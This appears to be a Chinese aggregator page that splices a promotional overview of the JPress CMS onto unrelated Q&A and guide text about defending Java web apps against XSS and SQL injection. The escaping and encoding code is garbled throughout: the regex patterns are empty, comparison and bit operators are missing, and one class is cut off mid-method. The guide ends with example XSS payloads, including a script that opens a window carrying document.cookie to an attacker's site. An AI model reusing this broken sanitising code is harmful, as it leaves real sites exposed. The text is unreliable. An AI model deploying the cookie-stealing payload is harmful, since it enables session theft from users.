本文目录一览：
jpress后台
JPress，一个wordpress的java代替版本，使用JFinal开发。支持类似wordpress的几乎所有功能，比如：模板，插件等。同时在模板上，JPress提出了“模板即模型”的概念，方便模板制作人灵活制作业务模型，移除了widget等繁杂功能，同时在模板和插件制作上比wordpress更加灵活简洁。但是，JPress又不是wordpress的java版本，它天生融合了 公众平台，整合了国内众多云平台、短信发送、邮件发送平台，独创的“模板即模型”概念是wordpress所不具备的，只有资深的wordpress玩家才能体会里面的微妙关系。同时后续会添加 文章同步， 公众平台，今日头条，一点资讯等新媒体的文章同步功能，更加国产和本地化。在功能方面支持自定义模型，自定义模型通过模板来定义，而不是后台功能。同时模型内容支持自定义类别，比如文章模型支持专题、分类、标签等类别。支持多模板引擎，默认使用Freemarker，模板制作者可以使用其他引擎比如thymeleaf来渲染，同时支持后台在线编辑模板（目前暂时只支持freemarker引擎）。支持多数据库类型，可以配置不同的数据库（目前暂只支持mysql）。支持多编辑器，后台可视化编辑和markdown编辑自由切换，默认支持在线图片编辑和代码高亮等功能。支持插件化，几行代码就可以完成一个插件的开发，git.oschina.net和github上已经有插件的helloworld实例。支持自定义URL，网站内容URL风格自定义。API支持，方便APP或其他第三方调用数据。国际化支持，使用JPress轻松制作任何语言的网站。极简的SEO功能，可以为每篇文章、每个分类、每个标签单独设置SEO，支持sitemap输出。用户注册支持邮件和短信验证，目前短信服务商暂时只支持阿里大鱼。支持CDN设置，包括七牛，阿里云，又拍云等。上传图片支持水印设置，同时上传图片自动剪切成为模板需要的多种图片尺寸，保证图片显示不会拉伸。用户登录支持第三方登录，支持 、 、微博、开源中国、github、Facebook、twitter、linkedin（目前只完成 、 、微博、开源中国、github的登陆）。在 方面支持 菜单设置。支持自动回复，添加关键字和回复内容。支持默认回复，包括：用户关注时、进入多客服时、退出多客服时、发送图片时、发送语音时、发送视频时、发送位置时、发送连接时、用户扫描了带参数的二维码时、用户摇一摇时。所有的自动回复或默认回复支持“高级回复”功能，比如回复一篇文章，回复一个网址…高级回复是由JPress内置开发的特殊回复，但完全可配置，今后会增加的“高级回复”功能。自动回复或默认回复支持插件回复，调用JPress插件完成回复。支持文章搜索，回复关键字即可返回关键字匹配文章。未来会支持文章同步或 导入等实用功能。在技术方面自豪的采用了JFinal作为核心，JPress也是得益于JFinal灵活的架构。在JFinalframework开源体系里，JPress关心每行逻辑的实现，重视每行代码质量，应该属于JFinal的最佳实践，所以也应该是每个JFinaler必读的项目。使用Freemarker和thymeleaf作为模板引擎。JPress内置的独创缓存，使得的UI渲染速度已经和模板引擎无关。使用了tinymce做可视化编辑器，使用simplemde做markdown编辑器。两者可以后台自由切换。文件和图片上传的UI插件使用了fine-uploader。在前端上，JPress使用了jquery，bootstrap，adminlte，font-awesome，x-editable，fastclick，toastr，tag-editor，pace，layer等。在安全方面，尽管我个人做了非常多的努力，已经在XSS，CSRF，SQL注入，Cookie安全等方面做了很多的工作，但是还是需要的人来一起挖掘和完善，安全是一个永恒的话题。（但是对于新手朋友来说，这些安全应该都是值得去学习和了解的，不是吗？）支持分布式部署，JPress重写了HttpSession，使用ehcache实现了session的功能，同时在项目中大量依赖于cookie，在分布式架构上毫无压力。JPress有以下特点1、轻。轻到只有8张数据表，却能实现wordpress的几乎所有功能。依赖的jar包也极度轻，目前只有cos-26Dec2008.jar、druid-1.0.16.jar、ehcache-2.7.5.jar、fastjson-1.2.7.jar、freemarker-2.3.23.jar、javax.mail.jar、jfinal-2.2-bin-with-src.jar、jfinal-weixin-1.7-bin-with-src.jar、jsoup-1.8.3.jar、log4j-1.2.17.jar、mysql-connector-java-5.1.36.jar、slf4j-api-1.7.7.jar、slf4j-log4j12-1.7.7.jar、jetty-server-8.1.8.jar这14个jar包，而且其中jetty-server-8.1.8.jar不是必须的，只用于方便调试。包括jar包在内的整个项目在20MB左右。2、快。无论多么复杂的页面，JPress响应几乎在10毫秒内，同时JPress支持阿里云，七牛，又拍云等CDN作为加速，支持分布式部署等功能，就算是香港的服务器，只能用“飞快”来形容。3、灵活。JPress提出的“模板即模型”的概念，模板制作人可以用JPress来做博客，新闻系统，论坛，问答社区，商城…加上其灵活的插件功能，几乎可以用来做任何类型的网站。4、国产。因为国产，所以更符合国人需求。JPress天生融合了 公众号，JPress内置了阿里大鱼的短信发送功能，支持了 邮箱，163邮箱等作为邮件发送服务器，后续会增加 模板消息发送通知用户等更加符合国人需求的功能。最最重要的的是JPress使用了比wordpress更宽松的LGPL开源协议，同时和国内的那些采用了私有协议（比如保留版权，保留连接等）的“开源”产品并不是一个级别的
大家畅所欲言，当jFinal遇到XSS和SQL注入怎么处理
数据进入数据库之前对非法字符进行转义，在更新和显示的时候将非法字符还原
在显示的时候对非法字符进行转义
如果项目还处在起步阶段，建议使用第二种，直接使用jstl的c:out标签即可解决非法字符的问题。当然，对于Javascript还需要自己处理一下，写一个方法，在解析从服务器端获取的数据时执行以下escapeHTML()即可。
附：Javascript方法：
String.prototype.escapeHTML = function () {
return this.replace(//g, ‘’).replace(//g, ‘’).replace(//g, ‘’).replace(/”/g, ‘"’);
}
如果项目已经开发完成了，又不想大批量改动页面的话，可以采用第一种方法，此时需要借助Spring MVC的@InitBinder以及org.apache.commons.lang.PropertyEditorSupport、org.apache.commons.lang.StringEscapeUtils
public class StringEscapeEditor extends PropertyEditorSupport {
private boolean escapeHTML;
private boolean escapeJavaScript;
private boolean escapeSQL;
public StringEscapeEditor() { super(); }
public StringEscapeEditor(boolean escapeHTML, boolean escapeJavaScript, boolean escapeSQL) {
super();
this.escapeHTML = escapeHTML;
this.escapeJavaScript = escapeJavaScript;
this.escapeSQL = escapeSQL;
}
@Override
public void setAsText(String text) {
if (text == null) {
setValue(null);
如何防止跨站点脚本攻击
防止跨站点脚本攻击的解决方法：
1.输入过滤
对每一个用户的输入或者请求首部，都要进行过滤。这需要程序员有良好的安全素养，而且需要覆盖到所有的输入源。而且还不能够阻止其他的一些问题，如错误页等。
final String filterPattern="[{}\\[\\];\\]";
String inputStr = s.replaceAll(filterPattern," ");
2.输出过滤
public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i chars.length; i++)
{
buf.append("" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}
byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 0xf) 4) +
(b2 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}
String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
!-- Maps the 404 Not Found response code
to the error page /errPage404 --
error-page
error-code404/error-code
location/errPage404/location
/error-page
!-- Maps any thrown ServletExceptions
to the error page /errPageServ --
error-page
exception-typejavax.servlet.ServletException/exception-type
location/errPageServ/location
/error-page
!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric --
error-page
exception-typejava.lang.Throwable/exception-type
location/errPageGeneric/location
/error-page
任何的非servlet例外都被/errPageGeneric路径捕捉，这样就可以处理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );
3.安装三方的应用防火墙，可以拦截css攻击。
附：
跨站脚本不像其他攻击只包含两个部分：攻击者和web站点。
跨站脚本包含三个部分：攻击者，客户和web站点。
跨站脚本攻击的目的是窃取客户的cookies，或者其他可以证明用户身份的敏感信息。
攻击
一个get请求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
会产生如下的结果
HTML
TitleWelcome!/Title
Hi Joe Hacker
BR
Welcome to our system
...
/HTML
但是如果请求被篡改
GET /welcome.cgi?name=scriptalert(document.cookie)/script HTTP/1.0
Host:
就会得到如下的响应
HTML
TitleWelcome!/Title
Hi scriptalert(document.cookie)/script
BR
Welcome to our system
...
/HTML
这样在客户端会有一段非法的脚本执行，这不具有破坏作用，但是如下的脚本就很危险了。
;scriptwindow.open(“”%2Bdocument.cookie)/script
响应如下：
HTML
TitleWelcome!/Title
Hi
scriptwindow.open(“”+document.cookie)/script
BR
Welcome to our system
...
/HTML
浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站，这样攻击者就得到了客户的cookie。